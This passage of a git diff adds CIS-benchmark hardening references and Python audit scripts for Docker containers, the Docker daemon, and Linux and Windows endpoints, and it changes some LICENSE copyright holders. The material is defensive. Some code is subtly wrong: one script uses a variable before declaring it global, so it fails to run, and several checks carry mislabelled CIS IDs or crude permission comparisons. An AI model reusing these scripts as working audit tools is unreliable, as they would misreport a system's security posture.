MEDIUM | +| 5.13 | CPU limits set | LOW | +| 5.14 | Memory limits set | MEDIUM | + +## Secure Dockerfile Practices + +### Non-Root User +```dockerfile +FROM alpine:3.18 +RUN adduser -D appuser +USER appuser +``` + +### Read-Only Filesystem +```bash +docker run --read-only --tmpfs /tmp:rw,noexec,nosuid myimage +``` + +### Drop Capabilities +```bash +docker run --cap-drop ALL --cap-add NET_BIND_SERVICE myimage +``` + +### Resource Limits +```bash +docker run --memory=512m --cpus=1.0 myimage +``` + +## Docker Bench Security + +### Run Audit +```bash +docker run --rm --net host --pid host --userns host \ + --cap-add audit_control \ + -v /var/lib:/var/lib \ + -v /var/run/docker.sock:/var/run/docker.sock \ + -v /etc:/etc \ + docker/docker-bench-security +``` + +## Seccomp and AppArmor + +### Custom Seccomp Profile +```bash +docker run --security-opt seccomp=profile.json myimage +``` + +### AppArmor Profile +```bash +docker run --security-opt apparmor=docker-default myimage +``` diff --git a/skills/hardening-docker-containers-for-production/scripts/agent.py b/skills/hardening-docker-containers-for-production/scripts/agent.py new file mode 100644 index 00000000..75bc9756 --- /dev/null +++ b/skills/hardening-docker-containers-for-production/scripts/agent.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python3 +"""Agent for auditing Docker container security and applying CIS hardening.""" + +import argparse +import json +import subprocess +import sys +from datetime import datetime, timezone + + +def get_running_containers(): + """List running Docker containers with details.""" + try: + result = subprocess.check_output( + ["docker", "ps", "--format", "{{json .}}"], + text=True, errors="replace", timeout=10 + ) + containers = [] + for line in result.strip().splitlines(): + if line: + containers.append(json.loads(line)) + return containers + except (subprocess.SubprocessError, json.JSONDecodeError): + return [] + + +def inspect_container(container_id): + """Get detailed container configuration.""" + try: + result = subprocess.check_output( + ["docker", "inspect", container_id], + text=True, errors="replace", timeout=10 + ) + return json.loads(result)[0] + except (subprocess.SubprocessError, json.JSONDecodeError): + return {} + + +def audit_container(container_id): + """Audit a container against CIS Docker Benchmark checks.""" + findings = [] + config = inspect_container(container_id) + if not config: + return findings + host_config = config.get("HostConfig", {}) + name = config.get("Name", container_id) + + if host_config.get("Privileged"): + findings.append({"check": "CIS 5.4", "issue": "Container runs privileged", "severity": "CRITICAL"}) + if host_config.get("NetworkMode") == "host": + findings.append({"check": "CIS 5.10", "issue": "Uses host network", "severity": "HIGH"}) + if host_config.get("PidMode") == "host": + findings.append({"check": "CIS 5.15", "issue": "Shares host PID namespace", "severity": "HIGH"}) + if host_config.get("IpcMode") == "host": + findings.append({"check": "CIS 5.16", "issue": "Shares host IPC namespace", "severity": "HIGH"}) + + user = config.get("Config", {}).get("User", "") + if not user or user == "root" or user == "0": + findings.append({"check": "CIS 4.1", "issue": "Container runs as root", "severity": "HIGH"}) + + cap_add = host_config.get("CapAdd") or [] + if "SYS_ADMIN" in cap_add: + findings.append({"check": "CIS 5.3", "issue": "SYS_ADMIN capability added", "severity": "CRITICAL"}) + if "NET_ADMIN" in cap_add: + findings.append({"check": "CIS 5.3", "issue": "NET_ADMIN capability added", "severity": "HIGH"}) + + if not host_config.get("ReadonlyRootfs"): + findings.append({"check": "CIS 5.12", "issue": "Root filesystem not read-only", "severity": "MEDIUM"}) + + memory = host_config.get("Memory", 0) + if memory == 0: + findings.append({"check": "CIS 5.14", "issue": "No memory limit set", "severity": "MEDIUM"}) + + cpu_shares = host_config.get("CpuShares", 0) + if cpu_shares == 0: + findings.append({"check": "CIS 5.13", "issue": "No CPU limit set", "severity": "LOW"}) + + restart = host_config.get("RestartPolicy", {}).get("Name", "") + if restart == "always": + findings.append({"check": "CIS 5.14", "issue": "RestartPolicy=always (use on-failure)", "severity": "LOW"}) + + mounts = host_config.get("Binds") or [] + sensitive = ["/", "/etc", "/var/run/docker.sock", "/proc", "/sys"] + for mount in mounts: + src = mount.split(":")[0] + if src in sensitive: + findings.append({"check": "CIS 5.5", "issue": f"Sensitive host mount: {src}", "severity": "HIGH"}) + + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Audit Docker containers against CIS benchmarks" + ) + parser.add_argument("--container", help="Specific container ID to audit") + parser.add_argument("--all", action="store_true", help="Audit all running containers") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Docker Container Hardening Audit Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "audits": []} + + if args.all: + containers = get_running_containers() + print(f"[*] Found {len(containers)} running containers") + for c in containers: + cid = c.get("ID", "") + findings = audit_container(cid) + report["audits"].append({"container": c.get("Names", cid), "findings": findings}) + elif args.container: + findings = audit_container(args.container) + report["audits"].append({"container": args.container, "findings": findings}) + + total = sum(len(a["findings"]) for a in report["audits"]) + critical = sum(1 for a in report["audits"] for f in a["findings"] if f["severity"] == "CRITICAL") + print(f"[*] Total findings: {total} (CRITICAL: {critical})") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/hardening-docker-daemon-configuration/LICENSE b/skills/hardening-docker-daemon-configuration/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hardening-docker-daemon-configuration/LICENSE +++ b/skills/hardening-docker-daemon-configuration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hardening-docker-daemon-configuration/references/api-reference.md b/skills/hardening-docker-daemon-configuration/references/api-reference.md new file mode 100644 index 00000000..d734d16d --- /dev/null +++ b/skills/hardening-docker-daemon-configuration/references/api-reference.md @@ -0,0 +1,83 @@ +# API Reference: Docker Daemon Configuration Hardening + +## daemon.json Location +- Linux: `/etc/docker/daemon.json` +- Windows: `C:\ProgramData\docker\config\daemon.json` + +## Recommended daemon.json +```json +{ + "icc": false, + "live-restore": true, + "userland-proxy": false, + "no-new-privileges": true, + "userns-remap": "default", + "log-driver": "json-file", + "log-opts": {"max-size": "10m", "max-file": "3"}, + "tls": true, + "tlsverify": true, + "tlscacert": "/etc/docker/ca.pem", + "tlscert": "/etc/docker/server-cert.pem", + "tlskey": "/etc/docker/server-key.pem" +} +``` + +## CIS Docker Benchmark — Daemon Settings + +| CIS # | Setting | Recommendation | +|-------|---------|---------------| +| 2.1 | `icc` | Set to `false` | +| 2.2 | `live-restore` | Set to `true` | +| 2.3 | `userland-proxy` | Set to `false` | +| 2.4 | `no-new-privileges` | Set to `true` | +| 2.6 | TLS | Enable with certificates | +| 2.8 | `userns-remap` | Set to `default` | +| 2.12 | Logging | Configure centralized logging | + +## File Permission Checks + +| File | Permissions | +|------|------------| +| `/etc/docker/daemon.json` | 644 | +| `/var/run/docker.sock` | 660 | +| `/etc/docker/certs.d/` | 444 | +| Docker service files | 644 | + +## Docker Socket Security + +### Check permissions +```bash +ls -la /var/run/docker.sock +# srw-rw---- 1 root docker 0 ... /var/run/docker.sock +``` + +### Restrict group access +```bash +chmod 660 /var/run/docker.sock +chown root:docker /var/run/docker.sock +``` + +## Content Trust (Image Signing) + +### Enable globally +```bash +export DOCKER_CONTENT_TRUST=1 +``` + +### In daemon.json +```json +{"content-trust": {"mode": "enforced"}} +``` + +## Docker Info Command +```bash +docker info --format '{{json .}}' +``` + +### Key Fields +| Field | Description | +|-------|-------------| +| `SecurityOptions` | seccomp, apparmor, userns | +| `LiveRestoreEnabled` | Live restore status | +| `RegistryConfig.InsecureRegistryCIDRs` | Insecure registries | +| `ServerVersion` | Docker version | diff --git a/skills/hardening-docker-daemon-configuration/scripts/agent.py b/skills/hardening-docker-daemon-configuration/scripts/agent.py new file mode 100644 index 00000000..0432288d --- /dev/null +++ b/skills/hardening-docker-daemon-configuration/scripts/agent.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python3 +"""Agent for auditing and hardening Docker daemon configuration.""" + +import argparse +import json +import os +import subprocess +import sys +from datetime import datetime, timezone + + +DAEMON_JSON_PATH = "/etc/docker/daemon.json" + +RECOMMENDED_SETTINGS = { + "icc": False, + "live-restore": True, + "userland-proxy": False, + "no-new-privileges": True, + "userns-remap": "default", + "log-driver": "json-file", + "log-opts": {"max-size": "10m", "max-file": "3"}, +} + + +def read_daemon_config(): + """Read Docker daemon.json configuration.""" + if not os.path.isfile(DAEMON_JSON_PATH): + return {"error": f"{DAEMON_JSON_PATH} not found"} + try: + with open(DAEMON_JSON_PATH, "r") as f: + return json.load(f) + except (json.JSONDecodeError, PermissionError) as e: + return {"error": str(e)} + + +def audit_daemon_config(config): + """Audit daemon.json against CIS benchmarks.""" + findings = [] + if "error" in config: + findings.append({"check": "daemon.json", "issue": config["error"], "severity": "HIGH"}) + return findings + + if config.get("icc", True): + findings.append({"check": "CIS 2.1", "issue": "Inter-container communication enabled", "severity": "MEDIUM"}) + if not config.get("live-restore"): + findings.append({"check": "CIS 2.2", "issue": "Live restore not enabled", "severity": "LOW"}) + if config.get("userland-proxy", True): + findings.append({"check": "CIS 2.3", "issue": "Userland proxy enabled (use iptables)", "severity": "LOW"}) + if not config.get("no-new-privileges"): + findings.append({"check": "CIS 2.4", "issue": "no-new-privileges not set", "severity": "MEDIUM"}) + if "userns-remap" not in config: + findings.append({"check": "CIS 2.8", "issue": "User namespace remapping not configured", "severity": "MEDIUM"}) + if not config.get("tls"): + if not config.get("tlsverify"): + findings.append({"check": "CIS 2.6", "issue": "TLS not configured for Docker daemon", "severity": "HIGH"}) + log_driver = config.get("log-driver", "") + if not log_driver: + findings.append({"check": "CIS 2.12", "issue": "No log driver configured", "severity": "MEDIUM"}) + if config.get("insecure-registries"): + findings.append({"check": "CIS 2.4", "issue": f"Insecure registries: {config['insecure-registries']}", "severity": "HIGH"}) + + return findings + + +def check_docker_socket(): + """Check Docker socket permissions.""" + findings = [] + socket_path = "/var/run/docker.sock" + if os.path.exists(socket_path): + stat = os.stat(socket_path) + mode = oct(stat.st_mode)[-3:] + if mode != "660": + findings.append({ + "check": "CIS 3.3", + "issue": f"Docker socket permissions: {mode} (should be 660)", + "severity": "HIGH", + }) + return findings + + +def check_docker_files(): + """Audit Docker configuration file permissions.""" + findings = [] + files_to_check = { + "/etc/docker/daemon.json": "644", + "/etc/default/docker": "644", + "/etc/docker/certs.d": "444", + } + for fpath, expected in files_to_check.items(): + if os.path.exists(fpath): + stat = os.stat(fpath) + mode = oct(stat.st_mode)[-3:] + if mode > expected: + findings.append({ + "check": "CIS 3.x", + "issue": f"{fpath}: permissions {mode} (should be {expected})", + "severity": "MEDIUM", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Audit Docker daemon configuration against CIS benchmarks" + ) + parser.add_argument("--config", default=DAEMON_JSON_PATH, help="Path to daemon.json") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Docker Daemon Configuration Audit Agent") + global DAEMON_JSON_PATH + DAEMON_JSON_PATH = args.config + + config = read_daemon_config() + findings = audit_daemon_config(config) + findings.extend(check_docker_socket()) + findings.extend(check_docker_files()) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "daemon_config": config if "error" not in config else {}, + "findings": findings, + "finding_count": len(findings), + } + + critical = sum(1 for f in findings if f["severity"] == "HIGH") + print(f"[*] Findings: {len(findings)} (HIGH: {critical})") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/hardening-linux-endpoint-with-cis-benchmark/LICENSE b/skills/hardening-linux-endpoint-with-cis-benchmark/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hardening-linux-endpoint-with-cis-benchmark/LICENSE +++ b/skills/hardening-linux-endpoint-with-cis-benchmark/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hardening-linux-endpoint-with-cis-benchmark/references/api-reference.md b/skills/hardening-linux-endpoint-with-cis-benchmark/references/api-reference.md new file mode 100644 index 00000000..e8d2b392 --- /dev/null +++ b/skills/hardening-linux-endpoint-with-cis-benchmark/references/api-reference.md @@ -0,0 +1,98 @@ +# API Reference: Linux CIS Benchmark Hardening + +## CIS Benchmark Sections + +| Section | Topic | +|---------|-------| +| 1 | Initial Setup (filesystem, updates, secure boot) | +| 2 | Services (inetd, special purpose) | +| 3 | Network Configuration (parameters, firewall) | +| 4 | Logging and Auditing (auditd, rsyslog) | +| 5 | Access, Authentication, Authorization (SSH, PAM) | +| 6 | System Maintenance (file permissions) | + +## Key sysctl Parameters + +### Network Hardening +```bash +sysctl -w net.ipv4.ip_forward=0 +sysctl -w net.ipv4.conf.all.send_redirects=0 +sysctl -w net.ipv4.conf.all.accept_source_route=0 +sysctl -w net.ipv4.conf.all.accept_redirects=0 +sysctl -w net.ipv4.conf.all.log_martians=1 +sysctl -w net.ipv4.tcp_syncookies=1 +``` + +### Persistent Configuration +```bash +# /etc/sysctl.d/99-hardening.conf +net.ipv4.ip_forward = 0 +net.ipv4.conf.all.send_redirects = 0 +``` + +## SSH Hardening (/etc/ssh/sshd_config) + +| Parameter | Recommended Value | +|-----------|-------------------| +| PermitRootLogin | no | +| PasswordAuthentication | no | +| Protocol | 2 | +| MaxAuthTries | 4 | +| ClientAliveInterval | 300 | +| ClientAliveCountMax | 3 | +| X11Forwarding | no | +| AllowTcpForwarding | no | + +## Service Management + +### Disable unnecessary services +```bash +systemctl disable avahi-daemon +systemctl disable cups +systemctl disable rpcbind +systemctl mask service_name +``` + +### Check enabled services +```bash +systemctl list-unit-files --type=service --state=enabled +``` + +## Audit Rules (/etc/audit/rules.d/) + +### Monitor critical files +```bash +-w /etc/passwd -p wa -k identity +-w /etc/shadow -p wa -k identity +-w /etc/group -p wa -k identity +-w /etc/sudoers -p wa -k sudoers +``` + +### Monitor system calls +```bash +-a always,exit -F arch=b64 -S execve -k exec +-a always,exit -F arch=b64 -S mount -k mounts +``` + +## File Permissions + +| File | Owner | Permissions | +|------|-------|-------------| +| `/etc/passwd` | root:root | 644 | +| `/etc/shadow` | root:shadow | 000 or 640 | +| `/etc/group` | root:root | 644 | +| `/etc/gshadow` | root:shadow | 000 or 640 | + +## Automated Tools + +### OpenSCAP +```bash +oscap xccdf eval --profile cis \ + --results results.xml \ + /usr/share/xml/scap/ssg/content/ssg-ubuntu2204-ds.xml +``` + +### Lynis +```bash +lynis audit system --cronjob --quiet +``` diff --git a/skills/hardening-linux-endpoint-with-cis-benchmark/scripts/agent.py b/skills/hardening-linux-endpoint-with-cis-benchmark/scripts/agent.py new file mode 100644 index 00000000..1e0a6d40 --- /dev/null +++ b/skills/hardening-linux-endpoint-with-cis-benchmark/scripts/agent.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +"""Agent for auditing Linux endpoints against CIS Benchmark hardening controls.""" + +import argparse +import json +import os +import re +import subprocess +import sys +from datetime import datetime, timezone + + +def run_cmd(cmd, timeout=10): + """Run a shell command and return stdout.""" + try: + return subprocess.check_output( + cmd, shell=True, text=True, errors="replace", + timeout=timeout, stderr=subprocess.DEVNULL + ).strip() + except subprocess.SubprocessError: + return "" + + +def check_filesystem_config(): + """CIS Section 1 — Filesystem Configuration.""" + findings = [] + cramfs = run_cmd("modprobe -n -v cramfs 2>/dev/null") + if "install /bin/true" not in cramfs and "install /bin/false" not in cramfs: + findings.append({"check": "1.1.1.1", "issue": "cramfs module not disabled", "severity": "LOW"}) + tmp_mount = run_cmd("findmnt /tmp") + if not tmp_mount: + findings.append({"check": "1.1.2", "issue": "/tmp not a separate partition", "severity": "MEDIUM"}) + elif "nodev" not in tmp_mount or "nosuid" not in tmp_mount: + findings.append({"check": "1.1.3", "issue": "/tmp missing nodev/nosuid options", "severity": "MEDIUM"}) + return findings + + +def check_services(): + """CIS Section 2 — Services.""" + findings = [] + unnecessary = ["avahi-daemon", "cups", "dhcpd", "slapd", "nfs-server", + "rpcbind", "named", "vsftpd", "httpd", "dovecot", "smb", "squid"] + for svc in unnecessary: + status = run_cmd(f"systemctl is-enabled {svc} 2>/dev/null") + if status == "enabled": + findings.append({"check": "2.x", "issue": f"Unnecessary service enabled: {svc}", "severity": "MEDIUM"}) + return findings + + +def check_network_parameters(): + """CIS Section 3 — Network Parameters.""" + findings = [] + params = { + "net.ipv4.ip_forward": ("0", "3.1.1", "IP forwarding enabled"), + "net.ipv4.conf.all.send_redirects": ("0", "3.1.2", "ICMP redirects enabled"), + "net.ipv4.conf.all.accept_source_route": ("0", "3.2.1", "Source routing accepted"), + "net.ipv4.conf.all.accept_redirects": ("0", "3.2.2", "ICMP redirects accepted"), + "net.ipv4.conf.all.log_martians": ("1", "3.2.4", "Martian logging disabled"), + "net.ipv4.tcp_syncookies": ("1", "3.2.8", "SYN cookies disabled"), + } + for param, (expected, cis_id, desc) in params.items(): + value = run_cmd(f"sysctl -n {param} 2>/dev/null") + if value != expected: + findings.append({"check": cis_id, "issue": desc, "current": value, "expected": expected, "severity": "MEDIUM"}) + return findings + + +def check_access_auth(): + """CIS Section 5 — Access, Authentication, Authorization.""" + findings = [] + sshd_config = run_cmd("cat /etc/ssh/sshd_config 2>/dev/null") + if "PermitRootLogin yes" in sshd_config: + findings.append({"check": "5.2.10", "issue": "SSH root login permitted", "severity": "HIGH"}) + if "PasswordAuthentication yes" in sshd_config: + findings.append({"check": "5.2.12", "issue": "SSH password authentication enabled", "severity": "MEDIUM"}) + if "Protocol 1" in sshd_config: + findings.append({"check": "5.2.4", "issue": "SSH Protocol 1 enabled", "severity": "HIGH"}) + + passwd_maxdays = run_cmd("grep PASS_MAX_DAYS /etc/login.defs 2>/dev/null") + if passwd_maxdays: + match = re.search(r'PASS_MAX_DAYS\s+(\d+)', passwd_maxdays) + if match and int(match.group(1)) > 365: + findings.append({"check": "5.4.1.1", "issue": f"Password max age: {match.group(1)} days", "severity": "MEDIUM"}) + return findings + + +def check_audit_logging(): + """CIS Section 4 — Logging and Auditing.""" + findings = [] + auditd = run_cmd("systemctl is-active auditd 2>/dev/null") + if auditd != "active": + findings.append({"check": "4.1.1", "issue": "auditd not active", "severity": "HIGH"}) + rsyslog = run_cmd("systemctl is-active rsyslog 2>/dev/null") + if rsyslog != "active": + findings.append({"check": "4.2.1", "issue": "rsyslog not active", "severity": "MEDIUM"}) + return findings + + +def check_file_permissions(): + """CIS Section 6 — System File Permissions.""" + findings = [] + critical_files = { + "/etc/passwd": "644", + "/etc/shadow": "000", + "/etc/group": "644", + "/etc/gshadow": "000", + } + for fpath, expected in critical_files.items(): + if os.path.isfile(fpath): + mode = oct(os.stat(fpath).st_mode)[-3:] + if mode > expected: + findings.append({"check": "6.1.x", "issue": f"{fpath}: mode {mode} > {expected}", "severity": "MEDIUM"}) + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Audit Linux endpoint against CIS Benchmark" + ) + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] Linux CIS Benchmark Hardening Audit Agent") + all_findings = [] + all_findings.extend(check_filesystem_config()) + all_findings.extend(check_services()) + all_findings.extend(check_network_parameters()) + all_findings.extend(check_access_auth()) + all_findings.extend(check_audit_logging()) + all_findings.extend(check_file_permissions()) + + high = sum(1 for f in all_findings if f["severity"] == "HIGH") + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "findings": all_findings, + "total": len(all_findings), + "high_severity": high, + "compliance_score": max(0, 100 - len(all_findings) * 5), + } + print(f"[*] Findings: {len(all_findings)} (HIGH: {high})") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/hardening-windows-endpoint-with-cis-benchmark/LICENSE b/skills/hardening-windows-endpoint-with-cis-benchmark/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hardening-windows-endpoint-with-cis-benchmark/LICENSE +++ b/skills/hardening-windows-endpoint-with-cis-benchmark/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hardening-windows-endpoint-with-cis-benchmark/references/api-reference.md b/skills/hardening-windows-endpoint-with-cis-benchmark/references/api-reference.md new file mode 100644 index 00000000..e67253ba --- /dev/null +++ b/skills/hardening-windows-endpoint-with-cis-benchmark/references/api-reference.md @@ -0,0 +1,105 @@ +# API Reference: Windows CIS Benchmark Hardening + +## CIS Benchmark Sections + +| Section | Topic | +|---------|-------| +| 1 | Account Policies (passwords, lockout) | +| 2 | Local Policies (audit, user rights, security options) | +| 9 | Windows Firewall | +| 17 | Advanced Audit Policy | +| 18 | Administrative Templates | +| 19 | User Configuration | + +## PowerShell Commands + +### Password Policy +```powershell +net accounts +# or +Get-ADDefaultDomainPasswordPolicy +``` + +### Audit Policy +```powershell +auditpol /get /category:* +``` + +### Firewall Status +```powershell +Get-NetFirewallProfile | Select-Object Name, Enabled +``` + +### Registry Checks +```powershell +Get-ItemProperty -Path 'HKLM:\...' -Name 'ValueName' +``` + +## Key Registry Settings + +| Path | Value | Recommended | +|------|-------|-------------| +| `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel` | DWORD | 5 (NTLMv2 only) | +| `HKLM\...\Policies\System\EnableLUA` | DWORD | 1 (UAC enabled) | +| `HKLM\...\LanManServer\Parameters\SMB1` | DWORD | 0 (disabled) | +| `HKLM\...\Policies\System\ConsentPromptBehaviorAdmin` | DWORD | 2 | + +## Password Policy Settings + +| Setting | CIS Recommendation | +|---------|-------------------| +| Minimum length | >= 14 characters | +| Maximum age | <= 365 days | +| Minimum age | >= 1 day | +| Complexity | Enabled | +| Lockout threshold | <= 5 attempts | +| Lockout duration | >= 15 minutes | + +## Advanced Audit Policy + +| Subcategory | Recommended | +|-------------|-------------| +| Credential Validation | Success and Failure | +| Logon/Logoff | Success and Failure | +| Account Management | Success | +| Process Creation | Success | +| Policy Change | Success | + +## GPO Export and Analysis + +### Export GPO +```powershell +gpresult /H gpo-report.html +``` + +### Secedit Export +```cmd +secedit /export /cfg security-config.inf +``` + +## Automated Tools + +### Microsoft Security Compliance Toolkit +```powershell +# Download from Microsoft +# Includes GPO baselines and LGPO tool +LGPO.exe /g .\GPO-Backup +``` + +### CIS-CAT +```bash +# CIS Configuration Assessment Tool +cis-cat.bat -b benchmark.xml -p "CIS Windows 11 Enterprise" +``` + +## Windows Optional Features + +### Check SMBv1 +```powershell +Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol +``` + +### Disable SMBv1 +```powershell +Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol +``` diff --git a/skills/hardening-windows-endpoint-with-cis-benchmark/scripts/agent.py b/skills/hardening-windows-endpoint-with-cis-benchmark/scripts/agent.py new file mode 100644 index 00000000..bd72dc6d --- /dev/null +++ b/skills/hardening-windows-endpoint-with-cis-benchmark/scripts/agent.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python3 +"""Agent for auditing Windows endpoints against CIS Benchmark hardening controls.""" + +import argparse +import json +import subprocess +import sys +from datetime import datetime, timezone + + +def run_ps(command, timeout=15): + """Run PowerShell command and return output.""" + try: + return subprocess.check_output( + ["powershell", "-NoProfile", "-Command", command], + text=True, errors="replace", timeout=timeout + ).strip() + except subprocess.SubprocessError: + return "" + + +def check_password_policy(): + """CIS 1.1 — Password Policy.""" + findings = [] + result = run_ps("net accounts") + for line in result.splitlines(): + if "Minimum password length" in line: + val = int(line.split(":")[-1].strip()) + if val < 14: + findings.append({"check": "1.1.4", "issue": f"Min password length: {val} (should be >= 14)", "severity": "HIGH"}) + if "Maximum password age" in line: + val = line.split(":")[-1].strip() + if val == "Unlimited": + findings.append({"check": "1.1.2", "issue": "No max password age", "severity": "MEDIUM"}) + if "Lockout threshold" in line: + val = line.split(":")[-1].strip() + if val == "Never" or (val.isdigit() and int(val) > 10): + findings.append({"check": "1.2.1", "issue": f"Account lockout threshold: {val}", "severity": "MEDIUM"}) + return findings + + +def check_audit_policy(): + """CIS 17 — Advanced Audit Policy.""" + findings = [] + result = run_ps("auditpol /get /category:*") + required_audits = { + "Credential Validation": "Success and Failure", + "Logon": "Success and Failure", + "Security Group Management": "Success", + "User Account Management": "Success and Failure", + "Process Creation": "Success", + } + for subcategory, expected in required_audits.items(): + if subcategory in result: + for line in result.splitlines(): + if subcategory in line: + if "No Auditing" in line: + findings.append({ + "check": "17.x", "issue": f"Audit not configured: {subcategory}", + "severity": "HIGH", + }) + return findings + + +def check_windows_firewall(): + """CIS 9 — Windows Firewall.""" + findings = [] + profiles = ["Domain", "Private", "Public"] + for profile in profiles: + result = run_ps(f"Get-NetFirewallProfile -Name {profile} | Select-Object Enabled | ConvertTo-Json") + try: + data = json.loads(result) if result else {} + if not data.get("Enabled"): + findings.append({"check": "9.1", "issue": f"Firewall {profile} profile disabled", "severity": "HIGH"}) + except json.JSONDecodeError: + pass + return findings + + +def check_security_options(): + """CIS 2.3 — Security Options.""" + findings = [] + checks = [ + ("HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, + "2.3.11.7", "LAN Manager auth level not NTLMv2 only"), + ("HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 1, + "2.3.17.1", "UAC not enabled"), + ("HKLM:\\SYSTEM\\CurrentControlSet\\Services\\LanManServer\\Parameters", "SMB1", 0, + "18.3.2", "SMBv1 not disabled"), + ] + for path, name, expected, cis_id, desc in checks: + result = run_ps( + f"(Get-ItemProperty -Path '{path}' -Name '{name}' -ErrorAction SilentlyContinue).{name}" + ) + if result.strip().isdigit() and int(result.strip()) != expected: + findings.append({"check": cis_id, "issue": desc, "current": result.strip(), "severity": "HIGH"}) + return findings + + +def check_windows_features(): + """CIS 18 — Windows Features.""" + findings = [] + risky_features = ["SMB1Protocol", "TelnetClient", "TFTP"] + for feature in risky_features: + result = run_ps( + f"Get-WindowsOptionalFeature -Online -FeatureName {feature} 2>$null | " + f"Select-Object State | ConvertTo-Json" + ) + try: + data = json.loads(result) if result else {} + if data.get("State") == 1: # Enabled + findings.append({"check": "18.x", "issue": f"Risky feature enabled: {feature}", "severity": "MEDIUM"}) + except json.JSONDecodeError: + pass + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Audit Windows endpoint against CIS Benchmark" + ) + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Windows CIS Benchmark Hardening Audit Agent") + if sys.platform != "win32": + print("[!] This agent requires Windows") + return + + all_findings = [] + all_findings.extend(check_password_policy()) + all_findings.extend(check_audit_policy()) + all_findings.extend(check_windows_firewall()) + all_findings.extend(check_security_options()) + all_findings.extend(check_windows_features()) + + high = sum(1 for f in all_findings if f["severity"] == "HIGH") + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "findings": all_findings, + "total": len(all_findings), + "high_severity": high, + "compliance_score": max(0, 100 - len(all_findings) * 5), + } + print(f"[*] Findings: {len(all_findings)} (HIGH: {high})") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-advanced-persistent-threats/LICENSE b/skills/hunting-advanced-persistent-threats/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-advanced-persistent-threats/LICENSE +++ b/skills/hunting-advanced-persistent-threats/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-credential-stuffing-attacks/LICENSE b/skills/hunting-credential-stuffing-attacks/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-credential-stuffing-attacks/LICENSE +++ b/skills/hunting-credential-stuffing-attacks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-beaconing-with-frequency-analysis/LICENSE b/skills/hunting-for-beaconing-with-frequency-analysis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-beaconing-with-frequency-analysis/LICENSE +++ b/skills/hunting-for-beaconing-with-frequency-analysis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-beaconing-with-frequency-analysis/references/api-reference.md b/skills/hunting-for-beaconing-with-frequency-analysis/references/api-reference.md new file mode 100644 index 00000000..35b8387e --- /dev/null +++ b/skills/hunting-for-beaconing-with-frequency-analysis/references/api-reference.md @@ -0,0 +1,108 @@ +# API Reference: Beaconing Detection via Frequency Analysis + +## Beaconing Characteristics + +| Characteristic | Description | +|---------------|-------------| +| Regular intervals | Connections at fixed time periods | +| Low jitter | Small variance in intervals | +| Persistent | Continues over hours/days | +| Consistent size | Similar packet sizes | + +## Jitter Calculation + +### Standard Deviation of Intervals +```python +import math +intervals = [t[i+1] - t[i] for i in 